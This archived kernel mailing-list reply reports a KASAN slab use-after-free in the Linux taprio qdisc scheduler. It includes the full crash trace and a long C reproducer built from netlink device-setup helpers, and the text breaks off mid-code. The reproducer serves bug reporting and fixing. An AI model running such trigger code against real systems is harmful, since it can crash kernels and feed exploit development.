lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Message-ID: <CABOYnLzbWNy2ibb82AApi30ZLF=EBwKK=rRFYbnYGJaq64-vqw@mail.gmail.com> Date: Tue, 26 Dec 2023 08:55:02 +0800 From: xingwei lee <xrivendell7@...il.com> To: Jamal Hadi Salim <jhs@...atatu.com> Cc: syzbot+b65e0af58423fc8a73aa@...kaller.appspotmail.com, davem@...emloft.net, Eric Dumazet <edumazet@...gle.com>, jiri@...nulli.us, kuba@...nel.org, linux-kernel@...r.kernel.org, netdev@...r.kernel.org, pabeni@...hat.com, syzkaller-bugs@...glegroups.com, vinicius.gomes@...el.com, xiyou.wangcong@...il.com Subject: Re: [syzbot] [net?] KASAN: slab-use-after-free Read in advance_sched Jamal Hadi Salim <jhs@...atatu.com> 于2023年12月26日周二 07:06写道: > > Hi, > > On Sun, Dec 24, 2023 at 7:55 PM xingwei lee <xrivendell7@...il.com> wrote: > > > > Hello, I reproduced this bug and comfired in the latest net tree. > > > > If you fix this issue, please add the following tag to the commit: > > Reported-by: xingwei lee <xrivendell7@...il.com> > > > > Did you come up with this reproducer or you got it off syzbot? Hi, Jamal. I do this reproducer with my own method not got off from syzbot. > We do get syzbot reports(including this one) and to my knowledge Vinicius is > looking at this and another problem reported by syzbot which had > reproducer(s). Yes, you are right. Let me tell you the some details when I try to reproduce this bug. I got two repro.c and one of two is this that I reproted. Another reproducer when I test in the last net tree, It always triggered crash titled "KASAN: slab-use-after-free Read in taprio_dump" in the syzbot dashboard and I upload https://gist.github.com/dracary7/5f5811e2808a1f34bbaefa5d864aaf7a, this reproducer is a littele different from syzbot dashboard. > cheers, > jamal It seems this two bugs maybe duplicated? I found there are reproducer in the "KASAN: slab-use-after-free Read in taprio_dump" dashboard and this one can indeed trigger the same title as sybot, so I upload my reproducer and hope it helps. > > > > kernel: net 7c5e046bdcb2513f9decb3765d8bf92d604279cf > > kernel config: https://syzkaller.appspot.com/text?tag=KernelConfig&x=f2346961f26c5509 > > with KASAN enabled > > compiler: gcc (Debian 12.2.0-14) 12.2.0 > > > > ================================================================== > > BUG: KASAN: slab-use-after-free in advance_sched+0xadd/0xc60 > > net/sched/sch_taprio.c:973 > > Write of size 8 at addr ffff888023cefa90 by task kworker/1:4/12712 > > CPU: 1 PID: 12712 Comm: kworker/1:4 Tainted: G B > > 6.7.0-rc6-00157-g7c5e046bdcb2 #3 > > Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS > > 1.16.2-1.fc38 04/01/2014 > > Workqueue: events nsim_dev_trap_report_work > > Call Trace: > > <IRQ> > > __dump_stack lib/dump_stack.c:88 [inline] > > dump_stack_lvl+0xd3/0x1b0 lib/dump_stack.c:106 > > print_address_description mm/kasan/report.c:364 [inline] > > print_report+0xc4/0x630 mm/kasan/report.c:475 > > kasan_report+0xd8/0x110 mm/kasan/report.c:588 > > advance_sched+0xadd/0xc60 net/sched/sch_taprio.c:973 > > __run_hrtimer kernel/time/hrtimer.c:1688 [inline] > > __hrtimer_run_queues+0x203/0xc20 kernel/time/hrtimer.c:1752 > > hrtimer_interrupt+0x31b/0x800 kernel/time/hrtimer.c:1814 > > local_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1065 [inline] > > __sysvec_apic_timer_interrupt+0x105/0x400 arch/x86/kernel/apic/apic.c:1082 > > sysvec_apic_timer_interrupt+0x90/0xb0 arch/x86/kernel/apic/apic.c:1076 > > </IRQ> > > <TASK> > > asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:649 > > RIP: 0010:trace_mm_page_alloc include/trace/events/kmem.h:177 [inline] > > RIP: 0010:__alloc_pages+0x2b4/0x23d0 mm/page_alloc.c:4590 > > Code: 0f 87 ab 13 00 00 45 89 e4 be 08 00 00 00 4c 89 e0 48 c1 e8 06 > > 48 8d 3c c5 90 9f 39 8f e8 24 08 > > RSP: 0018:ffffc9000c227620 EFLAGS: 00000247 > > RAX: 0000000000000001 RBX: 1ffff92001844ed8 RCX: ffffffff81d36b5c > > RDX: fffffbfff1e733f3 RSI: 0000000000000008 RDI: ffffffff8f399f90 > > RBP: ffffea0001fe7400 R08: 0000000000000000 R09: fffffbfff1e733f2 > > R10: ffffffff8f399f97 R11: 0000000000000004 R12: 0000000000000001 > > R13: 00000000000d2820 R14: 0000000000000000 R15: 0000000000000003 > > alloc_pages_mpol+0x258/0x5f0 mm/mempolicy.c:2133 > > alloc_slab_page mm/slub.c:1870 [inline] > > allocate_slab mm/slub.c:2017 [inline] > > new_slab+0x292/0x3c0 mm/slub.c:2070 > > ___slab_alloc+0x992/0x16b0 mm/slub.c:3223 > > __slab_alloc.isra.0+0x56/0xa0 mm/slub.c:3322 > > __slab_alloc_node mm/slub.c:3375 [inline] > > slab_alloc_node mm/slub.c:3468 [inline] > > __kmem_cache_alloc_node+0x131/0x310 mm/slub.c:3517 > > __do_kmalloc_node mm/slab_common.c:1006 [inline] > > __kmalloc_node_track_caller+0x4e/0xd0 mm/slab_common.c:1027 > > kmalloc_reserve+0xef/0x260 net/core/skbuff.c:582 > > __alloc_skb+0x12b/0x330 net/core/skbuff.c:651 > > alloc_skb include/linux/skbuff.h:1286 [inline] > > nsim_dev_trap_skb_build drivers/net/netdevsim/dev.c:748 [inline] > > nsim_dev_trap_report drivers/net/netdevsim/dev.c:805 [inline] > > nsim_dev_trap_report_work+0x29d/0xc80 drivers/net/netdevsim/dev.c:850 > > process_one_work+0x886/0x15d0 kernel/workqueue.c:2627 > > process_scheduled_works kernel/workqueue.c:2700 [inline] > > worker_thread+0x8b9/0x1290 kernel/workqueue.c:2781 > > kthread+0x2c6/0x3a0 kernel/kthread.c:388 > > ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147 > > ret_from_fork_asm+0x11/0x20 arch/x86/entry/entry_64.S:242 > > </TASK> > > Allocated by task 135331: > > kasan_save_stack+0x33/0x50 mm/kasan/common.c:45 > > kasan_set_track+0x25/0x30 mm/kasan/common.c:52 > > ____kasan_kmalloc mm/kasan/common.c:374 [inline] > > __kasan_kmalloc+0xa2/0xb0 mm/kasan/common.c:383 > > kmalloc include/linux/slab.h:600 [inline] > > kzalloc include/linux/slab.h:721 [inline] > > taprio_change+0x54f/0x3900 net/sched/sch_taprio.c:1881 > > qdisc_change net/sched/sch_api.c:1387 [inline] > > tc_modify_qdisc+0x7d5/0x1c30 net/sched/sch_api.c:1717 > > rtnetlink_rcv_msg+0x3c7/0xe00 net/core/rtnetlink.c:6558 > > netlink_rcv_skb+0x16b/0x440 net/netlink/af_netlink.c:2545 > > netlink_unicast_kernel net/netlink/af_netlink.c:1342 [inline] > > netlink_unicast+0x53b/0x810 net/netlink/af_netlink.c:1368 > > netlink_sendmsg+0x93c/0xe40 net/netlink/af_netlink.c:1910 > > sock_sendmsg_nosec net/socket.c:730 [inline] > > __sock_sendmsg+0xd5/0x180 net/socket.c:745 > > ____sys_sendmsg+0x6b8/0x950 net/socket.c:2584 > > ___sys_sendmsg+0x135/0x1d0 net/socket.c:2638 > > __sys_sendmsg+0x117/0x1e0 net/socket.c:2667 > > do_syscall_x64 arch/x86/entry/common.c:52 [inline] > > do_syscall_64+0x41/0x110 arch/x86/entry/common.c:83 > > entry_SYSCALL_64_after_hwframe+0x63/0x6b > > Freed by task 0: > > kasan_save_stack+0x33/0x50 mm/kasan/common.c:45 > > kasan_set_track+0x25/0x30 mm/kasan/common.c:52 > > kasan_save_free_info+0x2b/0x40 mm/kasan/generic.c:522 > > ____kasan_slab_free mm/kasan/common.c:236 [inline] > > ____kasan_slab_free+0x15f/0x1b0 mm/kasan/common.c:200 > > kasan_slab_free include/linux/kasan.h:164 [inline] > > slab_free_hook mm/slub.c:1800 [inline] > > slab_free_freelist_hook+0x114/0x1e0 mm/slub.c:1826 > > slab_free mm/slub.c:3809 [inline] > > __kmem_cache_free+0xc0/0x180 mm/slub.c:3822 > > rcu_do_batch kernel/rcu/tree.c:2158 [inline] > > rcu_core+0x7fd/0x1610 kernel/rcu/tree.c:2431 > > __do_softirq+0x21a/0x8de kernel/softirq.c:553 > > Last potentially related work creation: > > kasan_save_stack+0x33/0x50 mm/kasan/common.c:45 > > __kasan_record_aux_stack+0xbc/0xd0 mm/kasan/generic.c:492 > > __call_rcu_common.constprop.0+0x99/0x7a0 kernel/rcu/tree.c:2681 > > taprio_change+0x2928/0x3900 net/sched/sch_taprio.c:1991 > > qdisc_change net/sched/sch_api.c:1387 [inline] > > tc_modify_qdisc+0x7d5/0x1c30 net/sched/sch_api.c:1717 > > rtnetlink_rcv_msg+0x3c7/0xe00 net/core/rtnetlink.c:6558 > > netlink_rcv_skb+0x16b/0x440 net/netlink/af_netlink.c:2545 > > netlink_unicast_kernel net/netlink/af_netlink.c:1342 [inline] > > netlink_unicast+0x53b/0x810 net/netlink/af_netlink.c:1368 > > netlink_sendmsg+0x93c/0xe40 net/netlink/af_netlink.c:1910 > > sock_sendmsg_nosec net/socket.c:730 [inline] > > __sock_sendmsg+0xd5/0x180 net/socket.c:745 > > ____sys_sendmsg+0x6b8/0x950 net/socket.c:2584 > > ___sys_sendmsg+0x135/0x1d0 net/socket.c:2638 > > __sys_sendmsg+0x117/0x1e0 net/socket.c:2667 > > do_syscall_x64 arch/x86/entry/common.c:52 [inline] > > do_syscall_64+0x41/0x110 arch/x86/entry/common.c:83 > > entry_SYSCALL_64_after_hwframe+0x63/0x6b > > Second to last potentially related work creation: > > kasan_save_stack+0x33/0x50 mm/kasan/common.c:45 > > __kasan_record_aux_stack+0xbc/0xd0 mm/kasan/generic.c:492 > > kvfree_call_rcu+0x70/0xbe0 kernel/rcu/tree.c:3400 > > drop_sysctl_table+0x1d4/0x3b0 fs/proc/proc_sysctl.c:1508 > > unregister_sysctl_table fs/proc/proc_sysctl.c:1529 [inline] > > unregister_sysctl_table+0x41/0x60 fs/proc/proc_sysctl.c:1521 > > __addrconf_sysctl_unregister net/ipv6/addrconf.c:7185 [inline] > > addrconf_sysctl_unregister+0xf1/0x1c0 net/ipv6/addrconf.c:7213 > > addrconf_ifdown.isra.0+0x16c8/0x1ce0 net/ipv6/addrconf.c:3957 > > addrconf_notify+0x48f/0x19d0 net/ipv6/addrconf.c:3727 > > notifier_call_chain+0xb6/0x3d0 kernel/notifier.c:93 > > call_netdevice_notifiers_info+0xbe/0x130 net/core/dev.c:1967 > > call_netdevice_notifiers_extack net/core/dev.c:2005 [inline] > > call_netdevice_notifiers net/core/dev.c:2019 [inline] > > unregister_netdevice_many_notify+0x85b/0x19a0 net/core/dev.c:11043 > > unregister_netdevice_many net/core/dev.c:11099 [inline] > > default_device_exit_batch+0x57f/0x740 net/core/dev.c:11568 > > ops_exit_list+0x125/0x170 net/core/net_namespace.c:175 > > cleanup_net+0x505/0xb20 net/core/net_namespace.c:614 > > process_one_work+0x886/0x15d0 kernel/workqueue.c:2627 > > process_scheduled_works kernel/workqueue.c:2700 [inline] > > worker_thread+0x8b9/0x1290 kernel/workqueue.c:2781 > > kthread+0x2c6/0x3a0 kernel/kthread.c:388 > > ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147 > > ret_from_fork_asm+0x11/0x20 arch/x86/entry/entry_64.S:242 > > The buggy address belongs to the object at ffff888023cefa00 > > which belongs to the cache kmalloc-512 of size 512 > > The buggy address is located 144 bytes inside of > > freed 512-byte region [ffff888023cefa00, ffff888023cefc00) > > The buggy address belongs to the physical page: > > page:ffffea00008f3a00 refcount:1 mapcount:0 mapping:0000000000000000 > > index:0x0 pfn:0x23ce8 > > head:ffffea00008f3a00 order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0 > > flags: 0xfff00000000840(slab|head|node=0|zone=1|lastcpupid=0x7ff) > > page_type: 0xffffffff() > > raw: 00fff00000000840 ffff888013042f40 ffffea00017a8010 ffff888013040d28 > > raw: 0000000000000000 0000000000150015 00000001ffffffff 0000000000000000 > > page dumped because: kasan: bad access detected > > page_owner tracks the page as allocated > > page last allocated via order 3, migratetype Unmovable, gfp_mask > > 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOW0 > > set_page_owner include/linux/page_owner.h:31 [inline] > > post_alloc_hook+0x2e9/0x350 mm/page_alloc.c:1537 > > prep_new_page mm/page_alloc.c:1544 [inline] > > get_page_from_freelist+0x1391/0x39a0 mm/page_alloc.c:3312 > > __alloc_pages+0x22d/0x23d0 mm/page_alloc.c:4568 > > alloc_pages_mpol+0x258/0x5f0 mm/mempolicy.c:2133 > > alloc_slab_page mm/slub.c:1870 [inline] > > allocate_slab mm/slub.c:2017 [inline] > > new_slab+0x292/0x3c0 mm/slub.c:2070 > > ___slab_alloc+0x992/0x16b0 mm/slub.c:3223 > > __slab_alloc.isra.0+0x56/0xa0 mm/slub.c:3322 > > __slab_alloc_node mm/slub.c:3375 [inline] > > slab_alloc_node mm/slub.c:3468 [inline] > > __kmem_cache_alloc_node+0x131/0x310 mm/slub.c:3517 > > kmalloc_trace+0x25/0x60 mm/slab_common.c:1098 > > kmalloc include/linux/slab.h:600 [inline] > > kzalloc include/linux/slab.h:721 [inline] > > alloc_bprm+0x51/0xb00 fs/exec.c:1512 > > kernel_execve+0xaf/0x4e0 fs/exec.c:1987 > > call_usermodehelper_exec_async+0x256/0x4c0 kernel/umh.c:110 > > ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147 > > ret_from_fork_asm+0x11/0x20 arch/x86/entry/entry_64.S:242 > > page last free stack trace: > > reset_page_owner include/linux/page_owner.h:24 [inline] > > free_pages_prepare mm/page_alloc.c:1137 [inline] > > free_unref_page_prepare+0x50f/0xac0 mm/page_alloc.c:2347 > > free_unref_page+0x33/0x3f0 mm/page_alloc.c:2487 > > qlink_free mm/kasan/quarantine.c:168 [inline] > > qlist_free_all+0x63/0x160 mm/kasan/quarantine.c:187 > > kasan_quarantine_reduce+0x18e/0x1d0 mm/kasan/quarantine.c:294 > > ____kasan_kmalloc mm/kasan/common.c:340 [inline] > > __kasan_kmalloc+0x86/0xb0 mm/kasan/common.c:383 > > kmalloc include/linux/slab.h:600 [inline] > > kzalloc include/linux/slab.h:721 [inline] > > kobject_uevent_env+0x24c/0x1800 lib/kobject_uevent.c:524 > > netdev_queue_add_kobject net/core/net-sysfs.c:1706 [inline] > > netdev_queue_update_kobjects+0x3e5/0x520 net/core/net-sysfs.c:1747 > > register_queue_kobjects net/core/net-sysfs.c:1808 [inline] > > netdev_register_kobject+0x297/0x3f0 net/core/net-sysfs.c:2048 > > register_netdevice+0x11ce/0x1cb0 net/core/dev.c:10221 > > veth_newlink+0x4ed/0xa00 drivers/net/veth.c:1927 > > rtnl_newlink_create net/core/rtnetlink.c:3521 [inline] > > __rtnl_newlink+0x1173/0x1930 net/core/rtnetlink.c:3741 > > rtnl_newlink+0x67/0xa0 net/core/rtnetlink.c:3754 > > rtnetlink_rcv_msg+0x3c7/0xe00 net/core/rtnetlink.c:6558 > > netlink_rcv_skb+0x16b/0x440 net/netlink/af_netlink.c:2545 > > netlink_unicast_kernel net/netlink/af_netlink.c:1342 [inline] > > netlink_unicast+0x53b/0x810 net/netlink/af_netlink.c:1368 > > netlink_sendmsg+0x93c/0xe40 net/netlink/af_netlink.c:1910 > > Memory state around the buggy address: > > ffff888023cef980: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc > > ffff888023cefa00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > > > > ffff888023cefa80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > > > > ^ > > ffff888023cefb00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > > ffff888023cefb80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > > ================================================================== > > > > > > =* repro.c =* > > #define _GNU_SOURCE > > > > #include <arpa/inet.h> > > #include <dirent.h> > > #include <endian.h> > > #include <errno.h> > > #include <fcntl.h> > > #include <linux/capability.h> > > #include <linux/genetlink.h> > > #include <linux/if_addr.h> > > #include <linux/if_ether.h> > > #include <linux/if_link.h> > > #include <linux/if_tun.h> > > #include <linux/in6.h> > > #include <linux/ip.h> > > #include <linux/neighbour.h> > > #include <linux/net.h> > > #include <linux/netlink.h> > > #include <linux/rtnetlink.h> > > #include <linux/tcp.h> > > #include <linux/veth.h> > > #include <net/if.h> > > #include <net/if_arp.h> > > #include <netinet/in.h> > > #include <sched.h> > > #include <signal.h> > > #include <stdarg.h> > > #include <stdbool.h> > > #include <stdint.h> > > #include <stdio.h> > > #include <stdlib.h> > > #include <string.h> > > #include <sys/ioctl.h> > > #include <sys/mount.h> > > #include <sys/prctl.h> > > #include <sys/resource.h> > > #include <sys/socket.h> > > #include <sys/stat.h> > > #include <sys/syscall.h> > > #include <sys/time.h> > > #include <sys/types.h> > > #include <sys/uio.h> > > #include <sys/wait.h> > > #include <time.h> > > #include <unistd.h> > > > > static unsigned long long procid; > > > > static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } > > > > static uint64_t current_time_ms(void) { > > struct timespec ts; > > if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); > > return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; > > } > > > > #define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off)) > > #define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \ > > *(type*)(addr) = \ > > htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \ > > (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len)))) > > > > static bool write_file(const char* file, const char* what, ...) { > > char buf[1024]; > > va_list args; > > va_start(args, what); > > vsnprintf(buf, sizeof(buf), what, args); > > va_end(args); > > buf[sizeof(buf) - 1] = 0; > > int len = strlen(buf); > > int fd = open(file, O_WRONLY | O_CLOEXEC); > > if (fd == -1) return false; > > if (write(fd, buf, len) != len) { > > int err = errno; > > close(fd); > > errno = err; > > return false; > > } > > close(fd); > > return true; > > } > > > > struct nlmsg { > > char* pos; > > int nesting; > > struct nlattr* nested[8]; > > char buf[4096]; > > }; > > > > static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, > > const void* data, int size) { > > memset(nlmsg, 0, sizeof(*nlmsg)); > > struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; > > hdr->nlmsg_type = typ; > > hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; > > memcpy(hdr + 1, data, size); > > nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); > > } > > > > static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, > > int size) { > > struct nlattr* attr = (struct nlattr*)nlmsg->pos; > > attr->nla_len = sizeof(*attr) + size; > > attr->nla_type = typ; > > if (size > 0) memcpy(attr + 1, data, size); > > nlmsg->pos += NLMSG_ALIGN(attr->nla_len); > > } > > > > static void netlink_nest(struct nlmsg* nlmsg, int typ) { > > struct nlattr* attr = (struct nlattr*)nlmsg->pos; > > attr->nla_type = typ; > > nlmsg->pos += sizeof(*attr); > > nlmsg->nested[nlmsg->nesting++] = attr; > > } > > > > static void netlink_done(struct nlmsg* nlmsg) { > > struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; > > attr->nla_len = nlmsg->pos - (char*)attr; > > } > > > > static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, > > int* reply_len, bool dofail) { > > if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) exit(1); > > struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; > > hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; > > struct sockaddr_nl addr; > > memset(&addr, 0, sizeof(addr)); > > addr.nl_family = AF_NETLINK; > > ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, > > (struct sockaddr*)&addr, sizeof(addr)); > > if (n != (ssize_t)hdr->nlmsg_len) { > > if (dofail) exit(1); > > return -1; > > } > > n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); > > if (reply_len) *reply_len = 0; > > if (n < 0) { > > if (dofail) exit(1); > > return -1; > > } > > if (n < (ssize_t)sizeof(struct nlmsghdr)) { > > errno = EINVAL; > > if (dofail) exit(1); > > return -1; > > } > > if (hdr->nlmsg_type == NLMSG_DONE) return 0; > > if (reply_len && hdr->nlmsg_type == reply_type) { > > *reply_len = n; > > return 0; > > } > > if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { > > errno = EINVAL; > > if (dofail) exit(1); > > return -1; > > } > > if (hdr->nlmsg_type != NLMSG_ERROR) { > > errno = EINVAL; > > if (dofail) exit(1); > > return -1; > > } > > errno = -((struct nlmsgerr*)(hdr + 1))->error; > > return -errno; > > } > > > > static int netlink_send(struct nlmsg* nlmsg, int sock) { > > return netlink_send_ext(nlmsg, sock, 0, NULL, true); > > } > > > > static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, > > const char* family_name, bool dofail) { > > struct genlmsghdr genlhdr; > > memset(&genlhdr, 0, sizeof(genlhdr)); > > genlhdr.cmd = CTRL_CMD_GETFAMILY; > > netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); > > netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, > > strnlen(family_name, GENL_NAMSIZ - 1) + 1); > > int n = 0; > > int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail); > > if (err < 0) { > > return -1; > > } > > uint16_t id = 0; > > struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + > > NLMSG_ALIGN(sizeof(genlhdr))); > > for (; (char*)attr < nlmsg->buf + n; > > attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { > > if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { > > id = *(uint16_t*)(attr + 1); > > break; > > } > > } > > if (!id) { > > errno = EINVAL; > > return -1; > > } > > recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); > > return id; > > } > > > > static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset, > > unsigned int total_len) { > > struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset); > > if (offset == total_len || offset + hdr->nlmsg_len > total_len) return -1; > > return hdr->nlmsg_len; > > } > > > > static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type, > > const char* name, bool up) { > > struct ifinfomsg hdr; > > memset(&hdr, 0, sizeof(hdr)); > > if (up) hdr.ifi_flags = hdr.ifi_change = IFF_UP; > > netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, > > sizeof(hdr)); > > if (name) netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name)); > > netlink_nest(nlmsg, IFLA_LINKINFO); > > netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type)); > > } > > > > static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type, > > const char* name) { > > netlink_add_device_impl(nlmsg, type, name, false); > > netlink_done(nlmsg); > > int err = netlink_send(nlmsg, sock); > > if (err < 0) { > > } > > } > > > > static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name, > > const char* peer) { > > netlink_add_device_impl(nlmsg, "veth", name, false); > > netlink_nest(nlmsg, IFLA_INFO_DATA); > > netlink_nest(nlmsg, VETH_INFO_PEER); > > nlmsg->pos += sizeof(struct ifinfomsg); > > netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer)); > > netlink_done(nlmsg); > > netlink_done(nlmsg); > > netlink_done(nlmsg); > > int err = netlink_send(nlmsg, sock); > > if (err < 0) { > > } > > } > > > > static void netlink_add_xfrm(struct nlmsg* nlmsg, int sock, const char* name) { > > netlink_add_device_impl(nlmsg, "xfrm", name, true); > > netlink_nest(nlmsg, IFLA_INFO_DATA); > > int if_id = 1; > > netlink_attr(nlmsg, 2, &if_id, sizeof(if_id)); > > netlink_done(nlmsg); > > netlink_done(nlmsg); > > int err = netlink_send(nlmsg, sock); > > if (err < 0) { > > } > > } > > > > static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name, > > const char* slave1, const char* slave2) { > > netlink_add_device_impl(nlmsg, "hsr", name, false); > > netlink_nest(nlmsg, IFLA_INFO_DATA); > > int ifindex1 = if_nametoindex(slave1); > > netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1)); > > int ifindex2 = if_nametoindex(slave2); > > netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2)); > > netlink_done(nlmsg); > > netlink_done(nlmsg); > > int err = netlink_send(nlmsg, sock); > > if (err < 0) { > > } > > } > > > > static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type, > > const char* name, const char* link) { > > netlink_add_device_impl(nlmsg, type, name, false); > > netlink_done(nlmsg); > > int ifindex = if_nametoindex(link); > > netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); > > int err = netlink_send(nlmsg, sock); > > if (err < 0) { > > } > > } > > > > static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name, > > const char* link, uint16_t id, uint16_t proto) { > > netlink_add_device_impl(nlmsg, "vlan", name, false); > > netlink_nest(nlmsg, IFLA_INFO_DATA); > > netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id)); > > netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto)); > > netlink_done(nlmsg); > > netlink_done(nlmsg); > > int ifindex = if_nametoindex(link); > > netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); > > int err = netlink_send(nlmsg, sock); > > if (err < 0) { > > } > > } > > > > static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name, > > const char* link) { > > netlink_add_device_impl(nlmsg, "macvlan", name, false); > > netlink_nest(nlmsg, IFLA_INFO_DATA); > > uint32_t mode = MACVLAN_MODE_BRIDGE; > > netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode)); > > netlink_done(nlmsg); > > netlink_done(nlmsg); > > int ifindex = if_nametoindex(link); > > netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); > > int err = netlink_send(nlmsg, sock); > > if (err < 0) { > > } > > } > > > > static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name, > > uint32_t vni, struct in_addr* addr4, > > struct in6_addr* addr6) { > > netlink_add_device_impl(nlmsg, "geneve", name, false); > > netlink_nest(nlmsg, IFLA_INFO_DATA); > > netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni)); > > if (addr4) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4)); > > if (addr6) netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6)); > > netlink_done(nlmsg); > > netlink_done(nlmsg); > > int err = netlink_send(nlmsg, sock); > > if (err < 0) { > > } > > } > > > > #define IFLA_IPVLAN_FLAGS 2 > > #define IPVLAN_MODE_L3S 2 > > #undef IPVLAN_F_VEPA > > #define IPVLAN_F_VEPA 2 > > > > static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name, > > const char* link, uint16_t mode, > > uint16_t flags) { > > netlink_add_device_impl(nlmsg, "ipvlan", name, false); > > netlink_nest(nlmsg, IFLA_INFO_DATA); > > netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode)); > > netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags)); > > netlink_done(nlmsg); > > netlink_done(nlmsg); > > int ifindex = if_nametoindex(link); > > netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); > > int err = netlink_send(nlmsg, sock); > > if (err < 0) { > > } > > } > > > > static void netlink_device_change(struct nlmsg* nlmsg, int sock, > > const char* name, bool up, const char* master, > > const void* mac, int macsize, > > const char* new_name) { > > struct ifinfomsg hdr; > > memset(&hdr, 0, sizeof(hdr)); > > if (up) hdr.ifi_flags = hdr.ifi_change = IFF_UP; > > hdr.ifi_index = if_nametoindex(name); > > netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr)); > > if (new_name) netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name)); > > if (master) { > > int ifindex = if_nametoindex(master); > > netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex)); > > } > > if (macsize) netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize); > > int err = netlink_send(nlmsg, sock); > > if (err < 0) { > > } > > } > > > > static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev, > > const void* addr, int addrsize) { > > struct ifaddrmsg hdr; > > memset(&hdr, 0, sizeof(hdr)); > > hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6; > > hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120; > > hdr.ifa_scope = RT_SCOPE_UNIVERSE; > > hdr.ifa_index = if_nametoindex(dev); > > netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr, > > sizeof(hdr)); > > netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize); > > netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize); > > return netlink_send(nlmsg, sock); > > } > > > > static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev, > > const char* addr) { > > struct 